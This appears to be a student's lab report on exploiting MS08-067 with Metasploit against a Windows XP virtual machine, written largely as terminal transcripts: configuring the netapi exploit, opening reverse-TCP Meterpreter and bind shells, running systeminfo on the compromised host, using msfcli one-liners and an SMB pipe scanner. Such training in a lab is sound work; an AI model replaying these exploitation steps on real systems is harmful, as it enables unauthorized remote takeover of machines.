

Metasploit Framework

Name: Alizeh Jafri

I opened the terminal in kali linux on VMware and entered the following commands:

- Service postgres start
- Service Metasploit
- Msfconsole
- Search ms08-067

```
root@kali: ~
File Edit View Search Terminal Help
root@kali:~# pwd
/root
root@kali:~# service postgresql start
[ ok ] Starting PostgreSQL 9.1 database server: main.
root@kali:~# service metasploit start
[ ok ] Starting Metasploit rpc server: prosv.
[ ok ] Starting Metasploit web server: thin.
[ ok ] Starting Metasploit worker: worker.
root@kali:~# msfconsole
[*] Starting the Metasploit Framework console...

(( _ _ _ _ _ ))
  ( ) 0 0 ( )
    |
  o_o \  M S F
       \|
       ||| Ww |||

KALI LINUX
The quieter you become, the more you are able to hear.

Easy phishing: Set up email templates, landing pages and listeners
in Metasploit Pro -- learn more on http://rapid7.com/metasploit
```

Then, I used the search command to check for any module available in Metasploit that has got vulnerability in focus that is ms08-067.

I entered, info exploit/windows/smb/ms08-067_netapi command to get the information as shown in the screenshot below:

```
root@kali: ~  
File Edit View Search Terminal Help  
msf > search ms08-067  
  
Matching Modules  
=====
```

Name	Disclosure Date	Rank	Description
exploit/windows/smb/ms08_067_netapi	2008-10-28	great	MS08-067 Microsoft Server Service Relative Path Stack Corruption

```
msf > info exploit/windows/smb/ms08_067_netapi  
  
Name: MS08-067 Microsoft Server Service Relative Path Stack Corruption  
Module: exploit/windows/smb/ms08_067_netapi  
Platform: Windows  
Privileged: Yes  
License: Metasploit Framework License (BSD)  
Rank: Great  
Disclosed: 2008-10-28  
  
Provided by:  
hdm <hdm@metasploit.com>  
Brett Moore <brett.moore@insomniasec.com>
```

Then I typed 'show options' shown in the screen shot below:

```
msf exploit(ms08_067_netapi) > show options  
  
Module options (exploit/windows/smb/ms08_067_netapi):  
  
Name      Current Setting  Required  Description  
-----  
RHOST     10.33.213.184    yes       The target address  
RPORT     445              yes       Set the SMB service port  
SMBPIPE   BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)  
  
Payload options (windows/meterpreter/reverse_tcp):  
  
Name      Current Setting  Required  Description  
-----  
EXITFUNC  thread          yes       Exit technique (accepted: seh, thread, process, none)  
LHOST     10.33.141.48     yes       The listen address  
LPORT     4444            yes       The listen port
```

Now, I set RHOST to target windowsXP. I got the IP address from windows XP. To get the IP address of windows XP, I clicked on start → run → cmd → ipconfig, shown below:

```
C:\WINDOWS\system32\cmd.exe
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\georgia>ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection 2:

    Connection-specific DNS Suffix  . : 
    IP Address. . . . . : 10.33.213.184
    Subnet Mask . . . . . : 255.255.128.0
    Default Gateway . . . . . : 10.33.255.254

C:\Documents and Settings\georgia>
```

Then I typed set RHOST, show targets and the results are shown in the below screenshot:

```
msf exploit(ms08_067_netapi) > set RHOST 10.33.213.184
RHOST => 10.33.213.184
msf exploit(ms08_067_netapi) > show targets

Exploit targets:

  Id  Name
  --  ---
  0    Automatic Targeting
  1    Windows 2000 Universal
  2    Windows XP SP0/SP1 Universal
  3    Windows 2003 SP0 Universal
  4    Windows XP SP2 English (AlwaysOn NX)
  5    Windows XP SP2 English (NX)
  6    Windows XP SP3 English (AlwaysOn NX)
  7    Windows XP SP3 English (NX)
  8    Windows XP SP2 Arabic (NX)
  9    Windows XP SP2 Chinese - Traditional / Taiwan (NX)
 10    Windows XP SP2 Chinese - Simplified (NX)
 11    Windows XP SP2 Chinese - Traditional (NX)
 12    Windows XP SP2 Czech (NX)
 13    Windows XP SP2 Danish (NX)
 14    Windows XP SP2 German (NX)
```

The exploit command in the terminal can be a shell now in Target:

```
msf exploit(ms08_067_netapi) > set LHOST 10.33.141.48
LHOST => 10.33.141.48
msf exploit(ms08_067_netapi) > exploit

[*] Started reverse handler on 10.33.141.48:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Command shell session 2 opened (10.33.141.48:4444 -> 10.33.213.184:1047) at
2020-01-31 23:10:53 -0500
```

Here, the commands can be executed to get the information regarding the machine which is compromised:

```
root@kali: ~
File Edit View Search Terminal Help
C:\WINDOWS\system32>systeminfo
systeminfo

Host Name:                BOOKXP
OS Name:                  Microsoft Windows XP Professional
OS Version:               5.1.2600 Service Pack 3 Build 2600
OS Manufacturer:         Microsoft Corporation
OS Configuration:        Standalone Workstation
OS Build Type:             Uniprocessor Free
Registered Owner:         CyberSecurity
Registered Organization:   Pentest
Product ID:                76487-009-2096997-22982
Original Install Date:    1/15/2015, 11:06:48 PM
System Up Time:            0 Days, 2 Hours, 28 Minutes, 55 Seconds
System Manufacturer:      VMware, Inc.
System Model:              VMware Virtual Platform
System type:               X86-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: x86 Family 6 Model 69 Stepping 1 GenuineIntel ~
                           2394 Mhz
BIOS Version:              INTEL - 6040000
Windows Directory:        C:\WINDOWS
System Directory:          C:\WINDOWS\system32
```


Payloads/Shellcode

I used command show payloads to see the compatible payloads, screenshot is shown below:

```
root@kali: ~  
File Edit View Search Terminal Help  
msf exploit(ms08_067_netapi) > show payloads  
Compatible Payloads  
=====
```

Name	Disclosure Date	Rank
generic/custom		normal
Custom Payload		
generic/debug_trap		normal
Generic x86 Debug Trap		
generic/shell_bind_tcp		normal
Generic Command Shell, Bind TCP Inline		
generic/shell_reverse_tcp		normal
Generic Command Shell, Reverse TCP Inline		
generic/tight_loop		normal
Generic x86 Tight Loop		
windows/dllinject/bind_hidden_ipknock_tcp		normal
Reflective DLL Injection, Hidden Bind Ipknock TCP Stager		
windows/dllinject/bind_hidden_tcp		normal
Reflective DLL Injection, Hidden Bind TCP Stager		

Here I entered exploit payload to tell Metasploit to run the module. And I ended up with a Meterpreter session. Which is short for meta-interpreter, Metasploit's unique payload. To return to the regular Metasploit console, we just need to type exit:

```
msf exploit(ms08_067_netapi) > exploit  
[*] Started reverse handler on 10.33.141.48:4444  
[*] Automatically detecting the target...  
[*] Fingerprint: Windows XP - Service Pack 3 - lang:English  
[*] Selected Target: Windows XP SP3 English (AlwaysOn NX)  
[*] Attempting to trigger the vulnerability...  
[*] Sending stage (770048 bytes) to 10.33.213.184  
[*] Meterpreter session 1 opened (10.33.141.48:4444 -> 10.33.213.184:1034) at 2020-01-31 21:54:41 -0500  
  
meterpreter > shell  
Process 2804 created.  
Channel 1 created.  
Microsoft Windows XP [Version 5.1.2600]  
(C) Copyright 1985-2001 Microsoft Corp.  
C:\WINDOWS\system32>
```

Next, to set up a payload manually we entered the command, set payload windows/shell_reverse_tcp. This is a reverse shell. could use specific payload, then typed show options as shown below:

```
msf exploit(ms08_067_netapi) > set payload windows/shell_reverse_tcp
payload => windows/shell_reverse_tcp
msf exploit(ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

  Name      Current Setting  Required  Description
  ----      -
  RHOST      10.33.141.48     yes       The target address
  RPORT      445              yes       Set the SMB service port
  SMBPIPE    BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/shell_reverse_tcp):

  Name      Current Setting  Required  Description
  ----      -
  EXITFUNC  thread          yes       Exit technique (accepted: seh, thread, process, none)
  LHOST      10.33.141.48     yes       The listen address
  LPORT      4444            yes       The listen port
```

Then, to exploit with the payload, I entered exploit, as shown below:

```
msf exploit(ms08_067_netapi) > exploit

[*] Started reverse handler on 10.33.141.48:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Command shell session 2 opened (10.33.141.48:4444 -> 10.33.213.184:1047) at
2020-01-31 23:10:53 -0500
```

MSFCLI

It is helpful when we use Metasploit inside the scripts and for testing the Metasploit modules. It runs with a fast one-line command. I entered the command `msfcli-h`. Then, I exploit MS08-067 using `Msfcli`. I used the command as follows to see the options for MS08-067 exploit module as shown below:

```
root@kali: ~
File Edit View Search Terminal Help
root@kali:~# pwd
/root
root@kali:~# msfcli windows/smb/ms08_067_netapi 0
[!] *****
[!] * The utility msfcli is deprecated! *
[!] * It will be removed on or about 2015-06-18 *
[!] * Please use msfconsole -r or -x instead *
[!] * Details: https://github.com/rapid7/metasploit-framework/pull/3802 *
[!] *****
[*] Initializing modules...

  Name      Current Setting  Required  Description
  ----      -
  RHOST      10.33.213.184      yes       The target address
  RPORT      445                yes       Set the SMB service port
  SMBPIPE    BROWSER            yes       The pipe name to use (BROWSER, SRVSVC)

root@kali:~#
```

Then I set the RHOST option to the IP address of the targeted machine which is windows XP:

```
root@kali: ~
File Edit View Search Terminal Help
root@kali:~# msfcli windows/smb/ms08_067_netapi RHOST=10.33.213.184 P
[!] *****
[!] * The utility msfcli is deprecated! *
[!] * It will be removed on or about 2015-06-18 *
[!] * Please use msfconsole -r or -x instead *
[!] * Details: https://github.com/rapid7/metasploit-framework/pull/3802 *
[!] *****
[*] Initializing modules...

Compatible payloads
=====

  Name      Description
  ----      -
  generic/custom
as payload. Set either PAYLOADFILE or
PAYLOADSTR. Use custom string or file
  generic/debug_trap
the target process Generate a debug trap in
  generic/shell_bind_tcp
and spawn a command shell Listen for a connection a
  generic/shell_reverse_tcp
and spawn a command shell Connect back to attacker
  generic/tight_loop
Generate a tight loop in
```

Here, I saw compatible payload as command shown in the screenshot below:

```
root@kali:~# msfcli windows/smb/ms08_067_netapi RHOST=10.33.213.184 PAYLOAD=wind
ows/shell_bind_tcp E
[!] *****
[!] *           The utility msfcli is deprecated!           *
[!] *           It will be removed on or about 2015-06-18   *
[!] *           Please use msfconsole -r or -x instead       *
[!] * Details: https://github.com/rapid7/metasploit-framework/pull/3802 *
[!] *****
[*] Initializing modules...
RHOST => 10.33.213.184
PAYLOAD => windows/shell_bind_tcp
[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>
```


Set RHOSTS to the IP address of the Windows XP target as set RHOSTS 10.33.213.184

Instead of RHOST I have RHOSTS set, which lets me to specify more than one remote host to run the module against. I typed the command use scanner/smb/pipe_auditor and show options.

Now, I run the auxiliary module by entering 'exploit'. The module audits the listening SMB pipes on the Windows XP target. As it turns out, the browser pipe is the only available pipe.

```
msf auxiliary(pipe_auditor) > set RHOSTS 10.33.213.184
RHOSTS => 10.33.213.184
msf auxiliary(pipe_auditor) > show options

Module options (auxiliary/scanner/smb/pipe_auditor):

  Name      Current Setting  Required  Description
  ----      -
  RHOSTS    10.33.213.184   yes       The target address range or CIDR identifier
  SMBDomain WORKGROUP        no        The Windows domain to use for authentication
  SMBPass                               no        The password for the specified username
  SMBUser                               no        The username to authenticate as
  THREADS   1                yes       The number of concurrent threads

msf auxiliary(pipe_auditor) > exploit

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(pipe_auditor) >
```

Next, I did the same with windows 7. I set the RHOSTS as 192.168.0.22. The screen shot is shows below:

```
msf auxiliary(pipe_auditor) > set RHOSTS 192.168.0.22
RHOSTS => 192.168.0.22
msf auxiliary(pipe_auditor) > show options

Module options (auxiliary/scanner/smb/pipe_auditor):

  Name      Current Setting  Required  Description
  ----      -
  RHOSTS    192.168.0.22    yes       The target address range or CIDR identifier
  SMBDomain WORKGROUP        no        The Windows domain to use for authentication
  SMBPass                               no        The password for the specified username
  SMBUser                               no        The username to authenticate as
  THREADS   1                yes       The number of concurrent threads

msf auxiliary(pipe_auditor) > exploit

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(pipe_auditor) >
```